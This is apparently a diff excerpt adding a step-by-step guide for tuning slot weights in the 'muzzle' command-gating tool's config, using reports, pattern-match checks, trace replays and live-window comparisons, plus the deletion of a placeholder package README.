+ peak plus 25%.
34
+ - `insufficient data (K runs)`: fewer than 5 clean runs. Wait for more.
35
+ - `not measured (container)`: those runs entered a container, so muzzle
36
+ saw no CPU or memory. No suggestion can come from them.
37
+
38
+ Narrow to one rule with `--rule NAME`, or to a period with `--since D`
39
+ and `--until D` (`now`, `7d`, `12h`, `30m`, `YYYY-MM-DD`, or RFC 3339).
40
+
41
+ **Done when** you have written down, for the rule you will change, its
42
+ current slots, run p50/p90, cores p50/p90 and the suggestion.
43
+
44
+ ## 2. Find heavy commands no rule matches
45
+
46
+ `report` can't see these: an unmatched command never reaches muzzle. Look
47
+ in museum:
48
+
49
+ ```sh
50
+ museum-search calls --min-secs 30 --tool bash
51
+ ```
52
+
53
+ Check a candidate against the live config with
54
+ `muzzle match -- 'contrib/gate --full'`. It prints the rule, or `no rule
55
+ matches`.
56
+
57
+ ## 3. Edit the config
58
+
59
+ `~/.config/muzzle/config.toml`. Change one rule per round, so the next
60
+ report shows what that change did.
61
+
62
+ - **Weights**: set `slots` to the suggestion. For an `experiment`, that
63
+ is the `try N` value, and step 5 decides whether it stays.
64
+ - **New rules**: give each a `name`. The name is the label in reports and
65
+ history, so keep it when the pattern changes.
66
+ - **False positives**: a pattern that matches anywhere in the string also
67
+ claims slots for commands that only *mention* the gate: a heredoc, a
68
+ `grep`, a `pgrep -f` poll, a `cat` of the script. A poll that claims
69
+ holds the gate's slots a second time while the real gate runs. Anchor the
70
+ command word in command position: start of the string, after `;`, `&`,
71
+ `|`, `(` or a newline, or just inside a `-c '…'` quote.
72
+ `bench/linuxpc-config.toml` in the muzzle repo has worked patterns.
73
+ Test both sides of the anchor:
74
+
75
+ ```sh
76
+ muzzle match -- 'cd repo && contrib/fast-gate'
77
+ muzzle match -- 'pgrep -f contrib/fast-gate'
78
+ ```
79
+
80
+ Check the edit loads, and note the new hash:
81
+
82
+ ```sh
83
+ muzzle doctor
84
+ ```
85
+
86
+ A bad config exits 2 and names the key.
87
+
88
+ **Hand-wrapped calls carry their own weight.** A `--slots` on
89
+ `muzzle run` overrides the config, so editing the config changes nothing for briefs,
90
+ scripts or cron lines that pass `--slots`. Update those too, or change them
91
+ to `--rule NAME` alone, which reads the weight from the config. The pi
92
+ extension and the harness hooks read the config on every call. Renaming a
93
+ rule breaks every `--rule OLD`: those calls warn `rule OLD is not in the
94
+ config; claiming 1 slot(s)` and under-claim until they are updated.
95
+
96
+ ## 4. Check it on a replay
97
+
98
+ Before living with the change, replay a recent trace at tier 1 against the
99
+ old and the new config. The trace's busiest window is where weights matter.
100
+ See [bench.md](bench.md) for making a trace.
101
+
102
+ ```sh
103
+ muzzle bench run bench/traces/2026-10-21.jsonl --mode muzzle --tier synthetic --window busiest:3h --speed 10 --out /tmp/tune-after
104
+ ```
105
+
106
+ Run the same command with the old config in place and `--out
107
+ /tmp/tune-before`, then compare the two `summary.md` files: makespan, wait
108
+ p90, most slots held and the probe. A tier-1 replay burns CPU for each
109
+ rule's slots, so it shows queueing and contention, not whether the real
110
+ job wants more cores. Step 5 settles that.
111
+
112
+ ## 5. Keep it, then compare live windows
113
+
114
+ After a few days, or at least 5 clean runs at the new weight:
115
+
116
+ ```sh
117
+ muzzle report --compare 2026-11-01..2026-11-03 2026-11-04..now --rule cargo-test
118
+ ```
119
+
120
+ The output shows both periods, split by config hash when it changed inside
121
+ one, then an `A -> C` table of deltas. An experiment reads `confirmed` when
122
+ run p50 fell, `rejected` when it didn't.
123
+
124
+ Rules for reading it (from tuning muzzle's own gate, 2026-10-29):
125
+
126
+ - **Compare windows only after the last change to the gated code.** A suite
127
+ that grew between the windows moves run time on its own. In that dogfood
128
+ run, run p90 went from 34 s to 58 s while the weight went down, because
129
+ the suite had grown.
130
+ - **Prefer cores over wall time.** Cores used (`cpu_s / ran_s`) says what
131
+ the job can use. Wall time also measures the code and the machine.
132
+ - **Change a weight only when two windows agree.** Both must come after the
133
+ last suite change. One window's suggestion moves with the code. The same
134
+ rule suggested 2 over one hour and 4 over the next, so a weight tuned
135
+ from one window oscillates.
136
+
137
+ Revert when the change made p90 or the wait worse and the code didn't move.
138
+
139
+ ## 6. Say why, next to the rule
140
+
141
+ Add one comment line above or below the edited rule: the evidence and the
142
+ date.
143
+
144
+ ```toml
145
+ [[rule]]
146
+ name = "cargo-test"
147
+ match = '…'
148
+ slots = 3
149
+ # why: 4 -> 3, 2026-10-29: p90 cores 2.2 over 10 clean runs; run p50 22 -> 21 s at 3.
150
+ ```
151
+
152
+ **Done when** the rule's comment names the before and after figures, and
153
+ every hand-wrapped `--slots` for that rule matches the config or is gone.
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.